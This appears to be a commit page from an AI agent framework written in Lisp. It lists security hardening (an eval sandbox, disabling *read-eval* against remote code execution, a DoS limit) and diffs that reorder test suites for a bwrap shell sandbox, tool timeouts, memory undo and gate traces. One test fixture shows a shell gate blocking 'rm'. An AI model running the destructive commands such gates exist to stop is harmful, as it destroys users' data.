amr/passepartout
1
0
Fork 0
Code Issues 15 Pull Requests 1 Actions Packages Projects Releases Wiki Activity

v0.8.2: cleanup + prose + structure + decomposition + budget + errors

Browse Source 
Phase 1 — dedup + hardening (~9 items):
- Remove duplicate *skill-registry* defvar from core-skills
- Merge *backend-registry* into *probabilistic-backends*, delete backend-register
- Remove inject-stimulus alias, standardize on stimulus-inject
- Add pre-eval sandbox (skill-source-scan) blocks restricted symbols before eval
- Remove dead plist-get function; remove duplicate json-alist-to-plist export
- Fix read-framed-message whitespace DoS (4096-iteration max)
- Add *read-eval* nil to dispatcher-approvals-process read-from-string (RCE)
- Add test-op to ASDF; update .asd version 0.4.3→0.7.2

Phase 2 — prose + contracts + reorder:
- Split ROADMAP: 2623→1089 lines (TODO only), CHANGELOG: 260→1528 lines (full DONE history, 14 versions reverse chron)
- Add Contracts + Overview to 6 channel files + embedding-native + programming-standards + symbolic-scope
- Reorder 28 .org files: Contract → Test Suite → Implementation (TDD order)
- Add 7-phase inline prose to think() in core-reason
- Expand USER_MANUAL: 183→461 lines (10 new sections)

Phase 3 — decomposition + export organization:
- Decompose think() into think-assemble-prompt, think-call-llm, think-parse-response orchestrator
- Organize 188 exports into 16 grouped sections by module

Phase 4 — budget enforcement + error protocol:
- Per-session budget enforcement (SESSION_BUDGET_USD env var, budget-exhausted-p, guard in think-call-llm)
- Error condition hierarchy (6 conditions: pipeline-error, llm-error, gate-error, budget-error, protocol-error)
- Restarts in loop-process: skip-signal, use-fallback, abort-pipeline
This commit is contained in:
Amr Gharbeia
2026-05-10 09:07:44 -04:00
parent 27d203ad67
commit 8fd56dece3
68 changed files with 7014 additions and 6521 deletions
Download Patch File Download Diff File Expand all files Collapse all files

26
lisp/channel-cli.lisp
View File

@@ -1,16 +1,3 @@
(in-package :passepartout)
(defun channel-cli-input (text)
"Processes raw text from the command line."
(inject-stimulus (list :type :EVENT
:payload (list :sensor :user-input :text text)
:meta (list :source :CLI))))
(defskill :passepartout-channel-cli
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -33,3 +20,16 @@
(handler-case
(progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
(in-package :passepartout)
(defun channel-cli-input (text)
"Processes raw text from the command line."
(stimulus-inject (list :type :EVENT
:payload (list :sensor :user-input :text text)
:meta (list :source :CLI))))
(defskill :passepartout-channel-cli
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))

64
lisp/channel-shell.lisp
View File

@@ -1,3 +1,35 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-shell-actuator-tests
(:use :cl :fiveam :passepartout)
(:export #:shell-actuator-suite))
(in-package :passepartout-shell-actuator-tests)
(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
(in-suite shell-actuator-suite)
(test test-bwrap-wrap-command
"Contract 2: bwrap-wrap-command returns properly formatted command list."
(let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
(is (member "bwrap" cmdline :test #'string=))
(is (member "--unshare-net" cmdline :test #'string=))
(is (member "--unshare-ipc" cmdline :test #'string=))
(is (member "echo hello" cmdline :test #'string=))))
(test test-bwrap-available-p-returns-boolean
"Contract 1: bwrap-available-p returns T or NIL."
(let ((avail (passepartout::bwrap-available-p)))
(is (typep avail 'boolean))))
(test test-actuator-shell-execute-echo
"Contract 3: actuator-shell-execute runs echo and returns output."
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
(result (passepartout::actuator-shell-execute action nil)))
(is (stringp result))
(is (search "hello" result :test #'char-equal))))
(in-package :passepartout)
(defvar *bwrap-available* nil
@@ -61,35 +93,3 @@ When bwrap is available, wraps the command in a Linux namespace sandbox."
(defskill :passepartout-channel-shell
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-shell-actuator-tests
(:use :cl :fiveam :passepartout)
(:export #:shell-actuator-suite))
(in-package :passepartout-shell-actuator-tests)
(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
(in-suite shell-actuator-suite)
(test test-bwrap-wrap-command
"Contract 2: bwrap-wrap-command returns properly formatted command list."
(let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
(is (member "bwrap" cmdline :test #'string=))
(is (member "--unshare-net" cmdline :test #'string=))
(is (member "--unshare-ipc" cmdline :test #'string=))
(is (member "echo hello" cmdline :test #'string=))))
(test test-bwrap-available-p-returns-boolean
"Contract 1: bwrap-available-p returns T or NIL."
(let ((avail (passepartout::bwrap-available-p)))
(is (typep avail 'boolean))))
(test test-actuator-shell-execute-echo
"Contract 3: actuator-shell-execute runs echo and returns output."
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
(result (passepartout::actuator-shell-execute action nil)))
(is (stringp result))
(is (search "hello" result :test #'char-equal))))

216
lisp/channel-tui-view.lisp
View File

@@ -136,6 +136,114 @@
(when id (view-input iw))
(setf (st :dirty) (list nil nil nil))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-tui-view-tests
(:use :cl :fiveam :passepartout)
(:export #:tui-view-suite))
(in-package :passepartout-tui-view-tests)
(def-suite tui-view-suite :description "TUI view rendering helpers")
(in-suite tui-view-suite)
(test test-char-width-ascii
"Contract 5: ASCII characters (< 128) have width 1."
(is (= 1 (passepartout::char-width #\a)))
(is (= 1 (passepartout::char-width #\Space)))
(is (= 1 (passepartout::char-width #\@))))
(test test-char-width-tab
"Contract 5: tab character has width 8."
(is (= 8 (passepartout::char-width #\Tab))))
(test test-char-width-cjk
"Contract 5: CJK characters have width 2."
(is (= 2 (passepartout::char-width #\日))))
(test test-char-width-null
"Contract 5: null has width 0."
(is (= 0 (passepartout::char-width #\Nul))))
(test test-markdown-bold
"Contract 7: parse-markdown-spans detects **bold**."
(let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
(is (= 3 (length segments)))))
(test test-markdown-plain
"Contract 7: plain text returns single segment."
(let ((segments (passepartout::parse-markdown-spans "plain")))
(is (= 1 (length segments)))
(is (string= "plain" (caar segments)))))
(test test-markdown-url
"Contract 7: parse-markdown-spans detects URLs."
(let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
(is (>= (length segments) 2))
(is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
(test test-markdown-blocks
"Contract 8: parse-markdown-blocks detects code blocks."
(let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
(segs (passepartout::parse-markdown-blocks text)))
(is (= 3 (length segs)))
(let ((code (second segs)))
(is (eq t (getf code :code-block)))
(is (string= "lisp" (getf code :lang)))
(is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
(test test-markdown-blocks-no-close
"Contract 8: unclosed code block returns content."
(let* ((text (format nil "```~%unclosed code"))
(segs (passepartout::parse-markdown-blocks text)))
(is (= 1 (length segs)))
(is (eq t (getf (first segs) :code-block)))))
(test test-syntax-highlight
"Contract 9: syntax-highlight colors Lisp code."
(let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
(is (>= (length segs) 3))))
(test test-syntax-highlight-keyword
"Contract 9: syntax-highlight colors keywords."
(let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
(is (>= (length segs) 2))
(is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-syntax-highlight-function
"Contract 9: syntax-highlight colors function calls."
(let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
(is (>= (length segs) 2))
(is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-gate-trace-lines-passed
"Contract 9: gate-trace-lines for passed gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "path" :result :passed)))))
(is (= 1 (length lines)))
(is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
(test test-gate-trace-lines-blocked
"Contract 9: gate-trace-lines for blocked gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "shell" :result :blocked :reason "rm")))))
(is (= 1 (length lines)))
(is (search "rm" (caar lines)))))
(test test-gate-trace-lines-approval
"Contract 9: gate-trace-lines for approval gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "network" :result :approval)))))
(is (= 1 (length lines)))
(is (search "HITL" (caar lines)))))
(test test-init-state-has-collapsed-gates
"Contract v0.7.2: init-state includes :collapsed-gates field."
(passepartout.channel-tui::init-state)
(let ((cg (passepartout.channel-tui::st :collapsed-gates)))
(is (null cg))))
(in-package :passepartout)
(defun char-width (ch)
@@ -524,114 +632,6 @@ Respects CJK/emoji char widths via char-width."
(refresh win)
(- h 1)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-tui-view-tests
(:use :cl :fiveam :passepartout)
(:export #:tui-view-suite))
(in-package :passepartout-tui-view-tests)
(def-suite tui-view-suite :description "TUI view rendering helpers")
(in-suite tui-view-suite)
(test test-char-width-ascii
"Contract 5: ASCII characters (< 128) have width 1."
(is (= 1 (passepartout::char-width #\a)))
(is (= 1 (passepartout::char-width #\Space)))
(is (= 1 (passepartout::char-width #\@))))
(test test-char-width-tab
"Contract 5: tab character has width 8."
(is (= 8 (passepartout::char-width #\Tab))))
(test test-char-width-cjk
"Contract 5: CJK characters have width 2."
(is (= 2 (passepartout::char-width #\日))))
(test test-char-width-null
"Contract 5: null has width 0."
(is (= 0 (passepartout::char-width #\Nul))))
(test test-markdown-bold
"Contract 7: parse-markdown-spans detects **bold**."
(let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
(is (= 3 (length segments)))))
(test test-markdown-plain
"Contract 7: plain text returns single segment."
(let ((segments (passepartout::parse-markdown-spans "plain")))
(is (= 1 (length segments)))
(is (string= "plain" (caar segments)))))
(test test-markdown-url
"Contract 7: parse-markdown-spans detects URLs."
(let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
(is (>= (length segments) 2))
(is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
(test test-markdown-blocks
"Contract 8: parse-markdown-blocks detects code blocks."
(let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
(segs (passepartout::parse-markdown-blocks text)))
(is (= 3 (length segs)))
(let ((code (second segs)))
(is (eq t (getf code :code-block)))
(is (string= "lisp" (getf code :lang)))
(is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
(test test-markdown-blocks-no-close
"Contract 8: unclosed code block returns content."
(let* ((text (format nil "```~%unclosed code"))
(segs (passepartout::parse-markdown-blocks text)))
(is (= 1 (length segs)))
(is (eq t (getf (first segs) :code-block)))))
(test test-syntax-highlight
"Contract 9: syntax-highlight colors Lisp code."
(let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
(is (>= (length segs) 3))))
(test test-syntax-highlight-keyword
"Contract 9: syntax-highlight colors keywords."
(let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
(is (>= (length segs) 2))
(is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-syntax-highlight-function
"Contract 9: syntax-highlight colors function calls."
(let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
(is (>= (length segs) 2))
(is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
(test test-gate-trace-lines-passed
"Contract 9: gate-trace-lines for passed gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "path" :result :passed)))))
(is (= 1 (length lines)))
(is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
(test test-gate-trace-lines-blocked
"Contract 9: gate-trace-lines for blocked gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "shell" :result :blocked :reason "rm")))))
(is (= 1 (length lines)))
(is (search "rm" (caar lines)))))
(test test-gate-trace-lines-approval
"Contract 9: gate-trace-lines for approval gate."
(let ((lines (passepartout::gate-trace-lines
'((:gate "network" :result :approval)))))
(is (= 1 (length lines)))
(is (search "HITL" (caar lines)))))
(test test-init-state-has-collapsed-gates
"Contract v0.7.2: init-state includes :collapsed-gates field."
(passepartout.channel-tui::init-state)
(let ((cg (passepartout.channel-tui::st :collapsed-gates)))
(is (null cg))))
(in-package :passepartout-tui-view-tests)
(test test-theme-hex-string-keys-exist

244
lisp/core-act.lisp
View File

@@ -1,3 +1,125 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-pipeline-act-tests
(:use :cl :fiveam :passepartout)
(:export #:pipeline-act-suite))
(in-package :passepartout-pipeline-act-tests)
(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
(in-suite pipeline-act-suite)
(test test-loop-gate-act-basic
"Contract 1: approved action reaches :acted status via loop-gate-act."
(clrhash passepartout::*skill-registry*)
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
(result (loop-gate-act signal)))
(is (eq :acted (getf signal :status)))
(is (null result))))
(test test-loop-gate-act-no-approved-action
"Contract 1: signal with no approved-action still reaches :acted status."
(clrhash passepartout::*skill-registry*)
(let* ((signal (list :type :EVENT :status nil :depth 0)))
(loop-gate-act signal)
(is (eq :acted (getf signal :status)))))
(test test-loop-gate-act-last-mile-reject
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
(clrhash passepartout::*skill-registry*)
(passepartout::defskill :mock-blocker
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic (lambda (action ctx)
(declare (ignore ctx action))
(list :type :LOG :payload (list :text "Last-mile block"))))
(let* ((signal (list :type :EVENT :status nil :depth 0
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
(loop-gate-act signal)
(is (eq :acted (getf signal :status)))
(is (null (getf signal :approved-action)))))
(test test-loop-gate-act-preserves-meta
"Contract 1: signal metadata is not mutated by loop-gate-act."
(clrhash passepartout::*skill-registry*)
(let* ((meta '(:source :tui :session "s1"))
(signal (list :type :EVENT :status nil :depth 0 :meta meta
:approved-action '(:target :cli :payload (:text "test")))))
(loop-gate-act signal)
(is (equal meta (getf signal :meta)))))
(test test-action-dispatch-routes
"Contract 3: action-dispatch routes to registered actuators without crashing."
(actuator-initialize)
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
'(:type :EVENT :depth 0))))
(is (numberp result) "eval should return a number")))
(test test-tool-timeout-shell
"Contract v0.7.2: shell timeout is 300 seconds."
(is (= 300 (passepartout::tool-timeout "shell"))))
(test test-tool-timeout-unknown
"Contract v0.7.2: unknown tool gets default 120s."
(is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
(test test-verify-write-match
"Contract v0.7.2: verify-write returns T on match."
(let ((path "/tmp/passepartout-verify-test.org")
(content "test content"))
(with-open-file (f path :direction :output :if-exists :supersede)
(write-string content f))
(unwind-protect
(is (passepartout::verify-write path content))
(ignore-errors (delete-file path)))))
(test test-tool-timeout-enforcement
"Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
(setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
(setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "sleep-forever"
:read-only-p nil
:body (lambda (args)
(declare (ignore args))
(sleep 10)
"done")))
(unwind-protect
(let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
(ctx '(:depth 0))
(result (passepartout::action-tool-execute action ctx)))
(is (eq :EVENT (getf result :TYPE)))
(let ((payload (getf result :PAYLOAD)))
(is (eq :tool-error (getf payload :SENSOR)))
(is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
(remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
(remhash "sleep-forever" passepartout::*tool-timeouts*)))
(test test-tool-cache-read-only
"Contract v0.7.2: read-only tool results are cached and reused."
(let ((call-count 0))
(setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "cache-test"
:read-only-p t
:body (lambda (args)
(declare (ignore args))
(incf call-count)
(list :status :success :content (format nil "call ~d" call-count)))))
(unwind-protect
(progn
(clrhash passepartout::*tool-cache*)
(let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
(ctx '(:depth 0))
(r1 (passepartout::action-tool-execute action ctx))
(r2 (passepartout::action-tool-execute action ctx)))
(is (= 1 call-count) "Second call should hit cache, not re-execute")
(let ((p1 (getf r1 :PAYLOAD))
(p2 (getf r2 :PAYLOAD)))
(is (string= (getf (getf p1 :RESULT) :CONTENT)
(getf (getf p2 :RESULT) :CONTENT))))))
(remhash "cache-test" passepartout::*cognitive-tool-registry*)
(clrhash passepartout::*tool-cache*))))
(in-package :passepartout)
(defvar *actuator-default* :cli
@@ -247,125 +369,3 @@ For approval-required actions, creates a Flight Plan instead of executing."
(defun act-gate (signal)
(loop-gate-act signal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-pipeline-act-tests
(:use :cl :fiveam :passepartout)
(:export #:pipeline-act-suite))
(in-package :passepartout-pipeline-act-tests)
(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
(in-suite pipeline-act-suite)
(test test-loop-gate-act-basic
"Contract 1: approved action reaches :acted status via loop-gate-act."
(clrhash passepartout::*skill-registry*)
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
(result (loop-gate-act signal)))
(is (eq :acted (getf signal :status)))
(is (null result))))
(test test-loop-gate-act-no-approved-action
"Contract 1: signal with no approved-action still reaches :acted status."
(clrhash passepartout::*skill-registry*)
(let* ((signal (list :type :EVENT :status nil :depth 0)))
(loop-gate-act signal)
(is (eq :acted (getf signal :status)))))
(test test-loop-gate-act-last-mile-reject
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
(clrhash passepartout::*skill-registry*)
(passepartout::defskill :mock-blocker
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic (lambda (action ctx)
(declare (ignore ctx action))
(list :type :LOG :payload (list :text "Last-mile block"))))
(let* ((signal (list :type :EVENT :status nil :depth 0
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
(loop-gate-act signal)
(is (eq :acted (getf signal :status)))
(is (null (getf signal :approved-action)))))
(test test-loop-gate-act-preserves-meta
"Contract 1: signal metadata is not mutated by loop-gate-act."
(clrhash passepartout::*skill-registry*)
(let* ((meta '(:source :tui :session "s1"))
(signal (list :type :EVENT :status nil :depth 0 :meta meta
:approved-action '(:target :cli :payload (:text "test")))))
(loop-gate-act signal)
(is (equal meta (getf signal :meta)))))
(test test-action-dispatch-routes
"Contract 3: action-dispatch routes to registered actuators without crashing."
(actuator-initialize)
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
'(:type :EVENT :depth 0))))
(is (numberp result) "eval should return a number")))
(test test-tool-timeout-shell
"Contract v0.7.2: shell timeout is 300 seconds."
(is (= 300 (passepartout::tool-timeout "shell"))))
(test test-tool-timeout-unknown
"Contract v0.7.2: unknown tool gets default 120s."
(is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
(test test-verify-write-match
"Contract v0.7.2: verify-write returns T on match."
(let ((path "/tmp/passepartout-verify-test.org")
(content "test content"))
(with-open-file (f path :direction :output :if-exists :supersede)
(write-string content f))
(unwind-protect
(is (passepartout::verify-write path content))
(ignore-errors (delete-file path)))))
(test test-tool-timeout-enforcement
"Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
(setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
(setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "sleep-forever"
:read-only-p nil
:body (lambda (args)
(declare (ignore args))
(sleep 10)
"done")))
(unwind-protect
(let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
(ctx '(:depth 0))
(result (passepartout::action-tool-execute action ctx)))
(is (eq :EVENT (getf result :TYPE)))
(let ((payload (getf result :PAYLOAD)))
(is (eq :tool-error (getf payload :SENSOR)))
(is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
(remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
(remhash "sleep-forever" passepartout::*tool-timeouts*)))
(test test-tool-cache-read-only
"Contract v0.7.2: read-only tool results are cached and reused."
(let ((call-count 0))
(setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "cache-test"
:read-only-p t
:body (lambda (args)
(declare (ignore args))
(incf call-count)
(list :status :success :content (format nil "call ~d" call-count)))))
(unwind-protect
(progn
(clrhash passepartout::*tool-cache*)
(let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
(ctx '(:depth 0))
(r1 (passepartout::action-tool-execute action ctx))
(r2 (passepartout::action-tool-execute action ctx)))
(is (= 1 call-count) "Second call should hit cache, not re-execute")
(let ((p1 (getf r1 :PAYLOAD))
(p2 (getf r2 :PAYLOAD)))
(is (string= (getf (getf p1 :RESULT) :CONTENT)
(getf (getf p2 :RESULT) :CONTENT))))))
(remhash "cache-test" passepartout::*cognitive-tool-registry*)
(clrhash passepartout::*tool-cache*))))

264
lisp/core-memory.lisp
View File

@@ -1,3 +1,135 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-memory-tests
(:use :cl :fiveam :passepartout)
(:export #:memory-suite))
(in-package :passepartout-memory-tests)
(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
(in-suite memory-suite)
(test merkle-hash-consistency
"Contract 2: identical ASTs produce identical Merkle hashes."
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
(clrhash passepartout::*memory-store*)
(let ((id1 (ingest-ast ast1)))
(let ((hash1 (memory-object-hash (memory-object-get id1))))
(clrhash passepartout::*memory-store*)
(let ((id2 (ingest-ast ast1)))
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
(test merkle-hash-different
"Contract 2: distinct ASTs produce different Merkle hashes."
(clrhash passepartout::*memory-store*)
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
(id1 (ingest-ast ast1))
(id2 (ingest-ast ast2))
(hash1 (memory-object-hash (memory-object-get id1)))
(hash2 (memory-object-hash (memory-object-get id2))))
(is (not (equal hash1 hash2)))))
(test test-ingest-ast-returns-id
"Contract 1: ingest-ast returns a string ID and stores the object."
(clrhash passepartout::*memory-store*)
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
(is (stringp id))
(is (not (null id)))))
(test test-memory-object-get
"Contract 3: memory-object-get retrieves an object by ID after ingest."
(clrhash passepartout::*memory-store*)
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
(let ((obj (memory-object-get id)))
(is (not (null obj)))
(is (eq :HEADLINE (memory-object-type obj)))
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
(test test-snapshot-and-rollback
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
(clrhash passepartout::*memory-store*)
(setf passepartout::*memory-snapshots* nil)
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
(snapshot-memory)
(clrhash passepartout::*memory-store*)
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
(rollback-memory 0)
(is (not (null (memory-object-get "snap-a"))))
(is (null (memory-object-get "snap-b"))))
(test test-undo-snapshot-restore
"Contract v0.7.2: undo-snapshot captures state, undo restores."
(let ((orig-store passepartout::*memory-store*)
(orig-undo passepartout::*undo-stack*)
(orig-redo passepartout::*redo-stack*))
(unwind-protect
(progn
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
passepartout::*undo-stack* nil
passepartout::*redo-stack* nil)
(passepartout::undo-snapshot)
(setf (gethash "x" passepartout::*memory-store*) "hello")
(is (string= "hello" (gethash "x" passepartout::*memory-store*)))
(is (passepartout::undo))
(is (null (gethash "x" passepartout::*memory-store*))))
(setf passepartout::*memory-store* orig-store
passepartout::*undo-stack* orig-undo
passepartout::*redo-stack* orig-redo))))
(test test-undo-redo-cycle
"Contract v0.7.2: redo restores undone state."
(let ((orig-store passepartout::*memory-store*)
(orig-undo passepartout::*undo-stack*)
(orig-redo passepartout::*redo-stack*))
(unwind-protect
(progn
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
passepartout::*undo-stack* nil
passepartout::*redo-stack* nil)
(passepartout::undo-snapshot)
(setf (gethash "y" passepartout::*memory-store*) "world")
(is (passepartout::undo))
(is (null (gethash "y" passepartout::*memory-store*)))
(is (passepartout::redo))
(is (string= "world" (gethash "y" passepartout::*memory-store*))))
(setf passepartout::*memory-store* orig-store
passepartout::*undo-stack* orig-undo
passepartout::*redo-stack* orig-redo))))
(test test-undo-empty-stack-nil
"Contract v0.7.2: undo returns nil on empty stack."
(let ((orig-undo passepartout::*undo-stack*))
(unwind-protect
(progn (setf passepartout::*undo-stack* nil)
(is (null (passepartout::undo))))
(setf passepartout::*undo-stack* orig-undo))))
(test test-audit-node-found
"Contract v0.7.2: audit-node returns info for existing object."
(clrhash passepartout::*memory-store*)
(setf (gethash "audit-1" passepartout::*memory-store*)
(passepartout::make-memory-object :id "audit-1" :type :HEADLINE
:version 1 :hash "abc123" :scope :memex))
(let ((info (passepartout::audit-node "audit-1")))
(is (not (null info)))
(is (eq :HEADLINE (getf info :type)))
(is (string= "abc123" (getf info :hash)))))
(test test-audit-node-not-found
"Contract v0.7.2: audit-node returns nil for nonexistent id."
(is (null (passepartout::audit-node "nonexistent-xxxx"))))
(test test-audit-verify-hash
"Contract v0.7.2: audit-verify-hash returns (total . missing)."
(clrhash passepartout::*memory-store*)
(setf (gethash "a" passepartout::*memory-store*)
(passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
(let ((result (passepartout::audit-verify-hash)))
(is (= 1 (car result)))
(is (= 0 (cdr result)))))
(in-package :passepartout)
(defvar *memory-store* (make-hash-table :test 'equal))
@@ -217,135 +349,3 @@ Returns (total . missing-hashes)."
(incf missing)))))
*memory-store*)
(cons total missing)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-memory-tests
(:use :cl :fiveam :passepartout)
(:export #:memory-suite))
(in-package :passepartout-memory-tests)
(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
(in-suite memory-suite)
(test merkle-hash-consistency
"Contract 2: identical ASTs produce identical Merkle hashes."
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
(clrhash passepartout::*memory-store*)
(let ((id1 (ingest-ast ast1)))
(let ((hash1 (memory-object-hash (memory-object-get id1))))
(clrhash passepartout::*memory-store*)
(let ((id2 (ingest-ast ast1)))
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
(test merkle-hash-different
"Contract 2: distinct ASTs produce different Merkle hashes."
(clrhash passepartout::*memory-store*)
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
(id1 (ingest-ast ast1))
(id2 (ingest-ast ast2))
(hash1 (memory-object-hash (memory-object-get id1)))
(hash2 (memory-object-hash (memory-object-get id2))))
(is (not (equal hash1 hash2)))))
(test test-ingest-ast-returns-id
"Contract 1: ingest-ast returns a string ID and stores the object."
(clrhash passepartout::*memory-store*)
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
(is (stringp id))
(is (not (null id)))))
(test test-memory-object-get
"Contract 3: memory-object-get retrieves an object by ID after ingest."
(clrhash passepartout::*memory-store*)
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
(let ((obj (memory-object-get id)))
(is (not (null obj)))
(is (eq :HEADLINE (memory-object-type obj)))
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
(test test-snapshot-and-rollback
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
(clrhash passepartout::*memory-store*)
(setf passepartout::*memory-snapshots* nil)
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
(snapshot-memory)
(clrhash passepartout::*memory-store*)
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
(rollback-memory 0)
(is (not (null (memory-object-get "snap-a"))))
(is (null (memory-object-get "snap-b"))))
(test test-undo-snapshot-restore
"Contract v0.7.2: undo-snapshot captures state, undo restores."
(let ((orig-store passepartout::*memory-store*)
(orig-undo passepartout::*undo-stack*)
(orig-redo passepartout::*redo-stack*))
(unwind-protect
(progn
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
passepartout::*undo-stack* nil
passepartout::*redo-stack* nil)
